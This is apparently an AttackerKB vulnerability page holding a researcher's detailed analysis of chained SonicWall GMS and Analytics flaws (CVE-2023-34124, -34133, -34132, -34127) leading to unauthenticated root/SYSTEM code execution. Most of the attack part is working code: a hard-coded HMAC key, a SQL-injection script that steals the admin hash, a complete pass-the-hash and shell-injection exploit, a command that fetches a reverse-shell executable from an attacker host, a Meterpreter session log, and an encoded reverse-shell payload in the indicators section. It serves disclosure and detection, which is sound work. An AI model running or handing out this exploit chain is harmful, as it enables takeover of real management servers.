Very High
CVE-2023-34127
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
Very High
(1 user assessed)Very High
(1 user assessed)Unknown
Unknown
Unknown
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) vulnerability in SonicWall GMS, SonicWall Analytics enables an authenticated attacker to execute arbitrary code with root privileges. This issue affects GMS: 9.3.2-SP1 and earlier versions; Analytics: 2.5.0.4-R7 and earlier versions.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
This was released in an advisory with 15 different vulnerabilities! I chained together 4 of them (or 5, depending on how you count) to get RCE. Weaponizing was tricky due to aggressive filters, but we figured out how to execute any arbitrary command with encoding on both Windows and Linux.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportGeneral Information
Vendors
- SonicWall
Products
- GMS,
- Analytics
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Additional Info
Technical Analysis
Description
On July 12, 2023, SonicWall released an advisory containing 15 different vulnerabilities in SonicWall Global Management System (GMS) and Analytics. By using a conjunction of the vulnerabilities released in their advisory, we determined that unauthenticated remote code execution is possible. We decided to post this under CVE-2023-34127—a post-authentication command-injection vulnerability—since that was the final issue we used in our chain to obtain remote code execution.
The full list of CVEs covered by this advisory are:
- CVE-2023-34123 Predictable Password Reset Key
- CVE-2023-34124 Web Service Authentication Bypass
- CVE-2023-34125 Post-Authenticated Arbitrary File Read via Backup File Directory Traversal
- CVE-2023-34126 Post-Authenticated Arbitrary File Upload
- CVE-2023-34127 Post-Authenticated Command Injection
- CVE-2023-34128 Hard-coded Tomcat Credentials (Privilege Escalation)
- CVE-2023-34129 Post-Authenticated Arbitrary File Write via Web Service (Zip Slip)
- CVE-2023-34130 Use of Outdated Cryptographic Algorithm with Hard-coded Key
- CVE-2023-34131 Unauthenticated Sensitive Information Leak
- CVE-2023-34132 Client-Side Hashing Function Allows Pass-the-Hash
- CVE-2023-34133 Multiple Unauthenticated SQL Injection Issues & Security Filter Bypass
- CVE-2023-34134 Password Hash Read via Web Service
- CVE-2023-34135 Post Authenticated Arbitrary File Read via Web Service
- CVE-2023-34136 Unauthenticated File Upload
- CVE-2023-34137 CAS Authentication Bypass
Affected products include:
- SonicWall GMS 9.3.2-SP1 and before
- SonicWall Analytics 2.5.0.4-R7 and before
As indicated in our blog, we strongly recommend upgrading this software if it’s present on your network.
Technical analysis
We analyzed SonicWall GMS for Windows, versions 9.3.9320 and 9.3.9330, and confirmed our findings on the Linux version afterwards. We did our best to map the CVEs to code changes based on descriptions, but because all the changes came in a single patch, it’s hard to tell for sure which change corresponds to which CVE.
Patch analysis
After installing the application, we copied the application directories to a Linux host for analysis. We grabbed all the .jar files (other than the Java Runtime Engine itself) and decompiled them with CFR using the following commands:
ron@ronlab ~/GMSVP-9.3.9320 $ mkdir ../jars-9.3.9320 ron@ronlab ~/GMSVP-9.3.9320 $ find . -name '*.jar' -not -path './jre' -exec cp -v "{}" ../jars-9.3.9320/ \; './jre/lib/security/policy/unlimited/local_policy.jar' -> '../jars-9.3.9320/local_policy.jar' './jre/lib/security/policy/unlimited/US_export_policy.jar' -> '../jars-9.3.9320/US_export_policy.jar' './jre/lib/security/policy/limited/local_policy.jar' -> '../jars-9.3.9320/local_policy.jar' './jre/lib/security/policy/limited/US_export_policy.jar' -> '../jars-9.3.9320/US_export_policy.jar' [...] ron@ronlab ~/GMSVP-9.3.9320 $ cd ../jars-9.3.9320 ron@ronlab ~/jars-9.3.9320 $ mkdir decompiled-9.3.9320/ ron@ronlab ~/jars-9.3.9320 $ java -Xmx6g -jar ../cfr-0.152.jar *.jar --outputdir sonicwall-gms-9.3.9320/ Processing AdventNetLogging.jar (use silent to silence) Processing com.adventnet.afp.log.LogLevel Processing com.adventnet.afp.log.LogException Processing com.adventnet.afp.log.ConsoleLog Processing com.adventnet.afp.log.FileUtil [...]
Once the decompilation finished, we used the command line diff
tool to find changes across the entire codebase:
ron@ronlab ~ $ diff -rub sonicwall-gms-9.3.9320 sonicwall-gms-9.3.9330 | tee changes.diff diff '--color=auto' -rub sonicwall-gms-9.3.9320/com/microsoft/sqlserver/jdbc/AppDTVImpl.java sonicwall-gms-9.3.9330/com/microsoft/sqlserver/jdbc/AppDTVImpl.java --- sonicwall-gms-9.3.9320/com/microsoft/sqlserver/jdbc/AppDTVImpl.java 2023-08-02 10:49:59.000000000 -0700 +++ sonicwall-gms-9.3.9330/com/microsoft/sqlserver/jdbc/AppDTVImpl.java 2023-08-02 10:49:52.000000000 -0700 @@ -3,6 +3,7 @@ */ package com.microsoft.sqlserver.jdbc; +import com.microsoft.sqlserver.jdbc.CryptoMetadata; import com.microsoft.sqlserver.jdbc.DDC; import com.microsoft.sqlserver.jdbc.DTV; import com.microsoft.sqlserver.jdbc.DTVExecuteOp; [...]
This wound up being about 26,000 lines of changes! Many of the changes aren’t relevant to security—for example, they changed a lot of hard-coded strings to constants. We manually searched the diff
output for anything that looked like the issues listed in the advisory, and identified a number of likely mappings. Of the 15 vulnerabilities patched in the advisory, we determined that the following, in concert, could lead to remote code execution:
- CVE-2023-34124 Web Service Authentication Bypass
- CVE-2023-34133 Multiple Unauthenticated SQL Injection Issues & Security Filter Bypass
- CVE-2023-34132 Client-Side Hashing Function Allows Pass-the-Hash
- CVE-2023-34127 Post-Authenticated Command Injection
(As noted above, we can’t say with 100% confidence that we mapped the correct code changes to the correct CVE, but we believe the mappings are defensible).
In addition to the patched vulnerabilities, we also exploited one additional unpatched issue to obtain remote code execution specifically on Windows—a failure to return after an error condition.
CVE-2023-34124 Web Service Authentication Bypass
The patch issued by SonicWall fixed at least three authentication bypass issues in the web services (/ws
) application, but they are all very similar to the following code, which is found in com.sonicwall.ws.servlet.auth.MSWAuthenticator
:
package com.sonicwall.ws.servlet.auth; import com.sonicwall.sgms.util.Base64; public class MSWAuthenticator { public static final String TENANT_API_AUTH_PRIVATE_KEY = "?~!@#$%^^()"; public static final String MSW_USER = "MSWUser"; public static final String SYSTEM_USER = "system"; // [... unused variables removed for brevity ...] private MSWAuthenticator() { } public static boolean authenticate(String user2, String domainName, String hash) { boolean authenticated = false; try { String computedHash; if (HelperMethods.stringsHaveLength(user2, hash) && (user2.equals(MSW_USER) || user2.equals(SYSTEM_USER)) && (computedHash = MSWAuthenticator.getAuthKey(domainName, TENANT_API_AUTH_PRIVATE_KEY)) != null) { authenticated = computedHash.equalsIgnoreCase(hash); } } // [... error handling removed for brevity ...] return authenticated; } public static String getAuthKey(String domainName, String privateKey) throws UnsupportedEncodingException, NoSuchAlgorithmException, InvalidKeyException { String authKey = ""; SecretKeySpec key = new SecretKeySpec(privateKey.getBytes("UTF-8"), "HmacSHA1"); Mac mac = Mac.getInstance("HmacSHA1"); mac.init(key); byte[] bytes = mac.doFinal(domainName.getBytes("UTF-8")); authKey = new String(Base64.encode(bytes)).trim(); return authKey; } }
That code calculates an authentication token in the getAuthKey
function, using the HMAC-SHA1 algorithm. The HMAC-SHA1 secret key is hard-coded (?~!@#$%^^()
) and the data is the domainName
argument. That code is called from the get
function in the class com.sonicwall.ws.resource.hosted.Tenant
:
package com.sonicwall.ws.resource.hosted; // [... imports ...] @Path(value="/msw/tenant/{tenantid}") public class Tenant { // [ ... ] @GET @Produces(value={"application/json", "text/html"}) public Response get(@PathParam(value="tenantid") String tenantId, @Context HttpServletRequest request) { // [ ... ] String authParam = request.getHeader("auth"); if (authParam == null || authParam.isEmpty()) { parameters.put("error", "-21012: AUTH parameter is not available."); return Response.status(Response.Status.OK).entity(parameters).type("application/json").build(); } // [ ... ] String user2 = (String)paramMap.get("user"); String hash = (String)paramMap.get("hash"); if (user2 == null || user2.isEmpty() || hash == null || hash.isEmpty()) { parameters.put("error", "-21008: User and or hash is not available."); return Response.status(Response.Status.OK).entity(parameters).type("application/json").build(); } // Here's the important call to authenticate() if (!MSWAuthenticator.authenticate(user2, tenantId, hash)) { parameters.put("error", "-21009: Authentication failed due to invalid parameters."); return Response.status(Response.Status.OK).entity(parameters).type("application/json").build(); } DomainManager dm = DomainManager.getInstance(); // We'll come to this call later :) DomainInfo di = dm.getDomainInfoByTenantSerial(tenantId); if (null == di) { parameters.put("error", "-21001: Tenant ID is not valid."); return Response.status(Response.Status.OK).entity(parameters).type("application/json").build(); } // [ ... ] }
From that code, we can see that the authenticate()
function (from earlier) is called with the user2
, tenantId
, and hash
variables, all of which we control via either the URL or POST arguments. The secret used to validate a permitted request is hash
, which we can calculate using tenantId
and the hard-coded secret key (setting the tenantId
argument to hello
here as a demonstration):
ron@ronlab ~ $ gem install ruby-hmac Successfully installed ruby-hmac-0.4.0 Parsing documentation for ruby-hmac-0.4.0 Done installing documentation for ruby-hmac after 0 seconds 1 gem installed ron@ronlab ~ $ irb 3.0.2 :001 > require 'hmac-sha1' => true 3.0.2 :002 > require 'base64' => true 3.0.2 :003 > c = HMAC::SHA1::new('?~!@#$%^^()') => #<HMAC::SHA1:0x00000000027c3768 ... 3.0.2 :004 > c.update('hello') => #<Digest::SHA1: e948b2f1c5cd4e67a6fea8d5ab1533323f7e6f24> 3.0.2 :005 > puts Base64::strict_encode64(c.digest()) 6Uiy8cXNTmem/qjVqxUzMj9+byQ=
If we try to access the endpoint without that token, we get an authentication error:
ron@ronlab ~ $ curl -ik -H 'Auth: {"user": "system", "hash": "testtest"}' 'https://10.0.0.79/ws/msw/tenant/hello' [ ... ] {"error":"-21009: Authentication failed due to invalid parameters."}
But if we set the token we calculated, we get a new error message:
ron@ronlab ~ $ curl -ik -H 'Auth: {"user": "system", "hash": "6Uiy8cXNTmem/qjVqxUzMj9+byQ="}' 'https://10.0.0.79/ws/msw/tenant/hello' [ ... ] {"error":"-21001: Tenant ID is not valid."}
The hard-coded HMAC secret gives us access to the /ws/msw/tenant/{tenantId}
endpoint! But what can we use that for?
CVE-2023-34133 Multiple Unauthenticated SQL Injection Issues & Security Filter Bypass
In the code block above, we teased this function call a bit:
DomainInfo di = dm.getDomainInfoByTenantSerial(tenantId); if (null == di) { parameters.put("error", "-21001: Tenant ID is not valid."); return Response.status(Response.Status.OK).entity(parameters).type("application/json").build(); }
That function is in the class com.sonicwall.sgms.manager.DomainManager
. Now that we can access that function call, let’s have a look at it:
public DomainInfo getDomainInfoByTenantSerial(String tenantSerial) { StringBuffer query = new StringBuffer("SELECT * FROM ").append(DOMAINS_TABLE_NAME).append(" WHERE ").append("TENANT_SERIAL").append(" = "); query.append("'").append(tenantSerial).append("'"); List<DomainInfo> domainInfoList = this.getDomains(query.toString()); if (domainInfoList != null && domainInfoList.size() == 1) { return domainInfoList.get(0); } return null; }
You might think that looks suspiciously SQL-injectable, and you’d be right! This is actually authenticated SQL injection, and the CVE lists multiple unauthenticated SQL injection vulnerabilities; however, as this was the first one we found, and it’s not blind, we opted to use this as part of our attack chain. SonicWall’s patch actually changes a massive number of SQL queries from ad-hoc escaping to parameterized queries, which is great from a security perspective, but it makes it much harder to figure out precisely which ones are actually vulnerabilities.
The vulnerable tenantSerial
argument to that function once again comes from the tenantId
variable in the get()
function, and originates from the URL itself. It’s the same value that’s used to generate the authentication token, which means the SQL injection payload is effectively “signed” using a hard-coded key. Consequently, we have to be somewhat careful with the order in which we sign and URI-encode the value.
We ended up using a union select
clause to read data from the database; to demonstrate, we put together this short Ruby script (note that this requires the httparty
and ruby-hmac
gems to be installed):
require 'httparty' require 'hmac-sha1' require 'json' if ARGV[1].nil? $stderr.puts "Usage: #{$0} <target> <SQL>" exit 1 end SECRET_KEY = '?~!@#$%^^()' USER = 'system' TARGET = ARGV[0] SQL = ARGV[1] QUERY = "abc' union select (select ID from SGMSDB.DOMAINS limit 1), '1', '2', '3', '4', '5', #{SQL}, '7', '8', '9" c = HMAC::SHA1::new(SECRET_KEY) c.update(QUERY) TOKEN = Base64::strict_encode64(c.digest()) response = HTTParty.get( "https://#{TARGET}/ws/msw/tenant/#{QUERY.gsub(/ /, '%20').gsub(/;/, '%3b').gsub(/\\/, '%5c')}", verify: false, headers: { 'Auth' => '{"user": "system", "hash": "' + TOKEN + '"}', } ) if response.parsed_response['alias'] puts "Result: #{response.parsed_response['alias']}" else puts "Something went wrong:" pp response end
We can use this to perform simple queries, such as getting the current MySQL user:
ron@ronlab ~/pocs $ ruby ./cve-2023-34133-sqli-plus-bypass.rb 10.0.0.79 "current_user()" Result: gmsuser@localhost
Or more complex queries, such as fetching the administrator’s password hash:
ron@ronlab ~/pocs $ ruby ./cve-2023-34133-sqli-plus-bypass.rb 10.0.0.79 "(select concat(id, ':', password) from sgmsdb.users where id = 'admin')" admin:5f4dcc3b5aa765d61d8327deb882cf99
If you work with hash functions a lot, you might recognize the hash 5f4dcc3b5aa765d61d8327deb882cf99
as the MD5 of password
:
ron@ronlab ~/pocs $ echo -ne 'password' | md5sum 5f4dcc3b5aa765d61d8327deb882cf99 -
Cracking an MD5 password is often very easy, but it’d be nice if there was a way to use that password without having to crack it.
Which brings us to…
CVE-2023-34132 Client-Side Hashing Function Allows Pass-the-Hash
The concept of “pass the hash” almost always refers to the NTLM protocol, which is an authentication protocol used by Windows. While Windows has always been vulnerable to pass-the-hash attacks, it’s something that Microsoft seems to have largely just accepted. Other projects—like SonicWall—fix pass-the-hash vulnerabilities.
Typically, if a user steals password hashes from an application through, say, SQL injection, those hashes are supposed to be of limited utility. In order to authenticate, you need to crack the password, which requires time and resources to complete (and may be effectively impossible, if the password and hashing function are strong). In a “pass the hash” attack, however, the user can authenticate using the hash directly, meaning that knowing the hash is effectively equivalent to knowing the password.
SonicWall GMS has several different login pages that correspond to different core applications, but we’re interested in /appliance
, whose login page is at /appliance/login
. The part of the appliance login that deals with the password is found in this JavaScript code on the login page:
if (isUserID(document.LOGIN.applianceUser)) { if(!isValidPasswordLength(document.LOGIN.appliancePassword, enforcePwdSecurity == "1")) document.LOGIN.needPwdChange.value = "3"; else if(!isValidPasswordChars(document.LOGIN.appliancePassword, enforcePwdSecurity == "1")) document.LOGIN.needPwdChange.value = "4"; else if (enforcePwdSecurity == "1" && isUserIDPasswordSame(document.LOGIN.applianceUser, document.LOGIN.appliancePassword)) document.LOGIN.needPwdChange.value = "5"; document.LOGIN.clientHash.value = getPwdHash(document.LOGIN.appliancePassword.value,'65813684801430099472240733556614'); document.LOGIN.password.value = calcMD5(document.LOGIN.appliancePassword.value); document.LOGIN.appliancePassword.value = "Nice Try"; return true; }
Interestingly, the numeric string in clientHash.value
(6581...
) changes on each refresh, which means it’s generated on the server (this is almost certainly an anti-replay value; by mixing a random value controlled by the server into the hash, it prevents the same hash from being reused in the future):
ron@ronlab ~ $ curl -sk https://10.0.0.79/appliance/login | grep 'clientHash.value = ' document.LOGIN.clientHash.value = getPwdHash(document.LOGIN.appliancePassword.value,'53618346255945438790342774591973'); ron@ronlab ~ $ curl -sk https://10.0.0.79/appliance/login | grep 'clientHash.value = ' document.LOGIN.clientHash.value = getPwdHash(document.LOGIN.appliancePassword.value,'55171110185279566090965334134332'); ron@ronlab ~ $ curl -sk https://10.0.0.79/appliance/login | grep 'clientHash.value = ' document.LOGIN.clientHash.value = getPwdHash(document.LOGIN.appliancePassword.value,'58356895572134527994028140510813');
The password and random number re passed into the getPwdHash()
function as the arguments strPassPhrase
and randonNumber1
(sic):
/*************************************************************** ** getPwdHash() ***************************************************************/ function getPwdHash(strPassPhrase, randonNumber1) { var strInternalPageHash = new String(); var strInternalPageSeedHash = new String(); if (strPassPhrase.length > 0) { strPassPhrase = calcMD5(strPassPhrase); strInternalPageHash = calcMD5(randonNumber1 + strPassPhrase); } return strInternalPageHash; }
The strInternalPageHash
is effectively MD5(randonNumber1 + MD5(strPassPhrase))
. Since we can pull MD5(strPassPhrase)
from the database using SQL injection, we can use some algebra to insert it into the JavaScript function!
Using the browser’s JavaScript console, we can call getPwdHash
on the login page using a representative randonNumber
:
> getPwdHash("password", "01632875528513276785331676028538") "fcda79e813fd113f0f4c0672e62e54e3"
We can calculate that same value using the password hash we grabbed in the SQL injection exploit above (the quotation marks are ignored, but are inserted for visibility):
ron@ronlab ~ $ echo -ne '01632875528513276785331676028538''5f4dcc3b5aa765d61d8327deb882cf99' | md5sum fcda79e813fd113f0f4c0672e62e54e3 -
That means we can authenticate using only the hash we stole, giving us access to the /appliance
endpoint as the admin
user. Which brings us to the final vulnerability in the chain…
CVE-2023-34127 Post-Authenticated Command Injection
The diff
led us to the following code, removed from com.sonicwall.appliance.manager.FileSystemManager
:
private class FileSearchThread implements Runnable { Thread statusThread = null; boolean continueToRun = true; private HttpSession session = null; private String searchFolder = null; private String searchFilter = null; public FileSearchThread(String searchFolder, HttpSession session, String searchFilter) { this.searchFilter = searchFilter; // <-- User controlled this.searchFolder = searchFolder; // <-- User controlled this.session = session; } // [ ... ] @Override public void run() { // [ ... ] String regex = ""; String searchCriteria = this.searchFilter; if (searchCriteria.equals("*.*")) { searchCriteria = "*"; } regex = regex + this.searchFolder + searchCriteria; // Both parts are user-controlled regex = ApplianceUtil.isWindows() ? regex + "," : regex + " "; String[] cmds = null; if (ApplianceUtil.isWindows()) { cmds = new String[]{"cmd /c dir /B /a:-d /O:N " + regex}; // User-controlled command (on Windows) LogUtil.debugOut((Object)("FileSearchThread: Command to get file list for: " + this.searchFolder + ": " + cmds), 3); } else { fileRAF = new File(ApplianceUtil.FILEPATH_TOMCAT_TEMP + "fileList_" + this.session.getId() + ".sh"); RandomAccessFile raf = new RandomAccessFile(fileRAF, "rw"); raf.write("#!/bin/sh\n".getBytes()); String command = "ls " + regex + " | grep -v ^d | sort -f "; // User-controlled command (on Linux) LogUtil.debugOut((Object)("FileSearchThread: Command to get file list for: " + this.searchFolder + ": " + command), 3); raf.write((command + "\n").getBytes()); raf.close(); proc.exec("chmod 755 " + fileRAF.getCanonicalPath()); cmds = new String[]{fileRAF.getCanonicalPath()}; } long[] timeouts = new long[]{7200L}; String[] outputFiles = new String[]{ApplianceUtil.FILEPATH_TOMCAT_TEMP + File.separator + "fileSearch_" + this.session.getId()}; proc.exec(cmds, timeouts, outputFiles); // Execute the command proc.join(); // [ ... ] } }
That code inserts user-controlled data directly into shell commands on both Windows and Linux platforms, which is a shell-command injection vulnerability. If we trace backwards, the FileSearchThread
is called by:
searchFiles()
in the classcom.sonicwall.appliance.manager.FileSystemManager
, which is called by…
performSearch()
in the classcom.sonicwall.appliance.servlets.FileSystemAction
, which is called by…
perform()
in the same class, which is called by…
doPost()
in the classcom.sonicwall.appliance.servlets.ApplianceMainPage
The doPost()
function is accessible as a web application. It’s technically post-authentication, but using the SQL injection and pass-the-hash vulnerabilities above, we can bypass that. Here’s what the shell injection looks like (without the other vulnerabilities, for now):
HTTParty.post( "https://#{TARGET}/appliance/applianceMainPage", verify: false, headers: { cookie: cookie_hash.to_cookie_string }, body: { num: rand(0..999999), action: 'file_system', task: 'search', item: 'application_log', criteria: '*', width: '500', searchFolder: 'C:\\GMSVP\\etc\\', searchFilter: "appliance.jar|#{COMMAND} ", # The space is required after the command! }, )
Putting it All Together
We combined all of these exploits into a single script that we called sonicboom. The all-in-one script is called cve-2023-34127-shell-injection.rb, and looks like this:
require 'httparty' require 'hmac-sha1' require 'json' require 'digest' if ARGV[1].nil? $stderr.puts "Usage: #{$0} <target> <command>" exit 1 end TARGET = ARGV[0] COMMAND = ARGV[1] SECRET_KEY = '?~!@#$%^^()' QUERY = "abc' union select (select ID from SGMSDB.DOMAINS limit 1), '1', '2', '3', '4', '5', (select concat(id, ':', password) from sgmsdb.users where id = 'admin' limit 1 offset 0), '7', '8', '9" puts "** CVE-2023-34124: Generating a token to access /ws/msw/tenant..." c = HMAC::SHA1::new(SECRET_KEY) c.update(QUERY) TOKEN = Base64::strict_encode64(c.digest()) $stderr.puts "Token: #{TOKEN}" puts puts "** CVE-2023-34133: Using SQL injection to grab the admin hash..." response = HTTParty.get( "https://#{TARGET}/ws/msw/tenant/#{QUERY.gsub(/ /, '%20').gsub(/;/, '%3b').gsub(/\\/, '%5c')}", verify: false, headers: { 'Auth' => '{"user": "system", "hash": "' + TOKEN + '"}', } ) if response.parsed_response['alias'].nil? # TODO if parsed_response isn't a hash this will fail puts "Something went wrong:" pp response exit 1 end username, hash = response.parsed_response['alias'].split(/:/) puts "username = #{username}" puts "password hash = #{hash}" puts puts "** CVE-2023-34132: Grabbing the randonNumber1 value from the login form so we can pass-the-hash" response = HTTParty.get( "https://#{TARGET}/appliance/login", verify: false, ) cookie_hash = HTTParty::CookieHash.new response.get_fields('Set-Cookie').each { |c| cookie_hash.add_cookies(c) } response.parsed_response =~ /value = getPwdHash.*'([0-9a-zA-Z]+)'/ randon_number1 = $1 client_hash = Digest::MD5.hexdigest(randon_number1 + hash) puts "randonNumber1: #{randon_number1}" puts "clientHash: #{client_hash}" puts puts "** Using the hash to authenticate..." response = HTTParty.post( "https://#{TARGET}/appliance/applianceMainPage", verify: false, headers: { cookie: cookie_hash.to_cookie_string }, body: { action: 'login', skipSessionCheck: '0', needPwdChange: '0', clientHash: client_hash, password: hash, applianceUser: username, appliancePassword: 'Nice Try', ctlTimezoneOffset: '0', }, ) cookie_hash = HTTParty::CookieHash.new response.get_fields('Set-Cookie').each { |c| cookie_hash.add_cookies(c) } puts "Obtained a cookie for admin (probably): #{response.get_fields('Set-Cookie')}" puts puts "** CVE-2023-34127: Attempting shell injection (Windows)..." # This should work on Windows: HTTParty.post( "https://#{TARGET}/appliance/applianceMainPage", verify: false, headers: { cookie: cookie_hash.to_cookie_string }, body: { num: rand(0..999999), action: 'file_system', task: 'search', item: 'application_log', criteria: '*', width: '500', searchFolder: 'C:\\GMSVP\\etc\\', searchFilter: "appliance.jar|#{COMMAND} ", # The space is required here! }, ) # This should work on Linux: puts "** CVE-2023-34127: Attempting shell injection (Linux)..." HTTParty.post( "https://#{TARGET}/appliance/applianceMainPage", verify: false, headers: { cookie: cookie_hash.to_cookie_string }, body: { num: rand(0..999999), action: 'file_system', task: 'search', item: 'application_log', criteria: '*', width: '500', searchFolder: '/opt/GMSVP/etc/', searchFilter: "appliance.jar|#{COMMAND} ", # The space is required here! }, )
The script attempts to run the command on both Linux and Windows, but only one will work since the application validates the searchFolder
argument.
Note that this is blind shell injection, so you won’t see the output. We did, however, use this script to upload a Meterpreter executable to our target:
ron@ronlab ~/pocs [main] $ ruby ./cve-2023-34127-shell-injection.rb 10.0.0.79 'curl -o c:\users\administrator\desktop\test.exe http://10.0.0.227:8081/reverse_shell.exe' ** CVE-2023-34124: Generating a token to access /ws/msw/tenant... Token: dgYvNOApDtJ4qwImZ9kjv8lwqHg= ** CVE-2023-34133: Using SQL injection to grab the admin hash... username = admin password hash = 5f4dcc3b5aa765d61d8327deb882cf99 ** CVE-2023-34132: Grabbing the randonNumber1 value from the login form so we can pass-the-hash randonNumber1: 53450773571430543092701367773482 clientHash: 5c98b33d8f9fafb49ff398a0e3697412 ** Using the hash to authenticate... Obtained a cookie for admin (probably): ["JSESSIONID=B1E9D731EBC9477467041F89ED4735A9; Path=/appliance; Secure; HttpOnly; SameSite=Strict"] ** CVE-2023-34127: Attempting shell injection (Windows)... ** CVE-2023-34127: Attempting shell injection (Linux)...
Then execute it:
ron@ronlab ~/shared/analysis/sonicwall/pocs [main] $ ruby ./cve-2023-34127-shell-injection.rb 10.0.0.79 'c:\users\administrator\desktop\test.exe' ** CVE-2023-34124: Generating a token to access /ws/msw/tenant... Token: dgYvNOApDtJ4qwImZ9kjv8lwqHg= ** CVE-2023-34133: Using SQL injection to grab the admin hash... username = admin password hash = 5f4dcc3b5aa765d61d8327deb882cf99 ** CVE-2023-34132: Grabbing the randonNumber1 value from the login form so we can pass-the-hash randonNumber1: 55285280221030697871540002607346 clientHash: ae94fb6b904469a184da92c85ec33d35 ** Using the hash to authenticate... Obtained a cookie for admin (probably): ["JSESSIONID=9A8FCDA50DB3A7FFFB6E9789C41E4253; Path=/appliance; Secure; HttpOnly; SameSite=Strict"] ** CVE-2023-34127: Attempting shell injection (Windows)...
Which gets us a Meterpreter session:
msf6 > use multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 10.0.0.227 LHOST => 10.0.0.227 msf6 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 10.0.0.227:4444 [*] Sending stage (175686 bytes) to 10.0.0.79 [*] Meterpreter session 1 opened (10.0.0.227:4444 -> 10.0.0.79:51880) at 2023-08-04 14:15:28 -0700 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
We also created a Metasploit module based on that proof of concept.
A Note on Windows
Way at the top, we made a remark that we took advantage of one unpatched issue on Windows:
In addition to the patched vulnerabilities, we also exploited one additional unpatched issue to obtain remote code execution specifically on Windows—a failure to return after an error condition.
The perform()
function in com.sonicwall.appliance.servlets.FileSystemAction
has the following code at the top:
if (ApplianceUtil.isWindows()) { LogUtil.logError(null, "This operation is not supported on Windows platform.", "perform", "FileSystemAction"); request.setAttribute("messagetype", 300); request.setAttribute("message", "Operation not supported."); ApplianceMainPage.forwardToPage(request, response, "/ActionFailure.jsp"); }
When we run our proof of concept against a Windows target, we actually see that error message and get redirected. But… it doesn’t actually terminate the script! That means that the vulnerable code still executes, you just don’t see the output because the redirect is already sent to the browser!
IOCs
The techniques we used to write our exploits are very noisy, and SonicWall has decent log files. Logs are available on the filesystem, or on the appliance page under the “diagnostics” menu:
- https://(host)/appliance/applianceMainPage
While most of the issues we discussed above will show up in those logs, we are reasonably sure there are multiple ways to get a valid session token using the set of vulnerabilities disclosed by SonicWall (in particular, there are multiple authentication bypass and SQL injection issues).
However, the most likely path to exploitation is to use the shell command injection issue, which appears in the appliance logs (DbgAppliance0.log
and other numbers). Searching that log for FileSearchThread
will find requests to the vulnerable endpoint. For reference, our Metasploit module creates an entry similar to this:
[Fri Aug 18 21:19:04 UTC 2023 Thread-15800:19288] FileSearchThread: Command to get file list for: /opt/GMSVP/etc/: ls /opt/GMSVP/etc/appliance.jar;bash -c PLUS\=\$\(echo\ -e\ begin-base64\ 755\ a\\\\nKwee \\\\n\=\=\=\=\ \|\ uudecode\ -o-\)\;echo\ -e\ begin-base64\ 755\ /tmp/.ptdaleif\\\\nf0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAA QAAAAAAA\$\{PLUS\}gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXAoAAONRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8 FXmp\$\{PLUS\}Wg8FSIXAeO3/5g\=\=\\\\n\=\=\=\=\ \|\ uudecode\ \;\ coproc\ /tmp/.ptdaleif\ \;\ rm\ /tmp/.ptdaleif;echo | grep -v ^d | sort -f
Any unusual activity in FileSearchThread
should be carefully examined, as that’s where the command execution will occur.
An attacker may use other techniques to execute arbitrary code, such as a path traversal issue; those likely appear in other log files, but we haven’t replicated that attack.
Because users get privileged access to the targets, they may also redact or delete the logs.
Guidance
We recommend that organizations who are running SonicWall GMS or Analytics update as soon as possible, as we have demonstrated that these vulnerabilities can lead to remote code execution.
References
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: